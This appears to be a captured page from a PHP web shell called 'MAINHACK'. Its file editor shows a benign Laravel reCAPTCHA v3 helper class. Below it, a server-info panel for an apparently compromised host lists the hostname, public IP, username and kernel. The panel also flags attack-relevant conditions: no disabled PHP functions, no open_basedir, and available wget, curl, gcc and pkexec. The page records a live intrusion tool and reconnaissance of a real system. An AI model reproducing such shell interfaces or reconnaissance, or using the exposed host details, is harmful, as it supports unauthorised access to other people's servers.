[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: RecaptchaV3.php
<?php /** * Created by Josias Montag * Date: 10/30/18 11:04 AM * Mail: josias@montag.info */ namespace Lunaweb\RecaptchaV3; use GuzzleHttp\Client; use Illuminate\Http\Request; use Illuminate\Contracts\Config\Repository; use Illuminate\Contracts\Foundation\Application; class RecaptchaV3 { /** * @var string */ protected $secret; /** * @var string */ protected $sitekey; /** * @var string */ protected $origin; /** * @var string */ protected $locale; /** * @var \GuzzleHttp\Client */ protected $http; /** * @var \Illuminate\Http\Request */ protected $request; /** * RecaptchaV3 constructor. * * @param $secret * @param $sitekey */ public function __construct(Repository $config, Client $client, Request $request, Application $app) { $this->secret = $config['recaptchav3']['secret']; $this->sitekey = $config['recaptchav3']['sitekey']; $this->origin = $config['recaptchav3']['origin'] ?? 'https://www.google.com/recaptcha'; $this->locale = $config['recaptchav3']['locale'] ?? $app->getLocale(); $this->http = $client; $this->request = $request; } /* * Verify the given token and retutn the score. * Returns false if token is invalid. * Returns the score if the token is valid. * * @param $token */ public function verify($token, $action = null) { $response = $this->http->request('POST', $this->origin . '/api/siteverify', [ 'form_params' => [ 'secret' => $this->secret, 'response' => $token, 'remoteip' => $this->request->getClientIp(), ], ]); $body = json_decode($response->getBody(), true); if (!isset($body['success']) || $body['success'] !== true) { return false; } if ($action && (!isset($body['action']) || $action != $body['action'])) { return false; } return isset($body['score']) ? $body['score'] : false; } /** * @return string */ public function sitekey() { return $this->sitekey; } /** * @return string */ public function initJs() { return '<script src="' . $this->origin . '/api.js?hl=' . $this->locale . '&render=' . $this->sitekey . '"></script>'; } /** * @param $action */ public function field($action, $name = 'g-recaptcha-response') { $fieldId = uniqid($name . '-', false); $html = '<input type="hidden" name="' . $name . '" id="' . $fieldId . '">'; $html .= "<script> grecaptcha.ready(function() { grecaptcha.execute('" . $this->sitekey . "', {action: '" . $action . "'}).then(function(token) { document.getElementById('" . $fieldId . "').value = token; }); }); </script>"; return $html; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002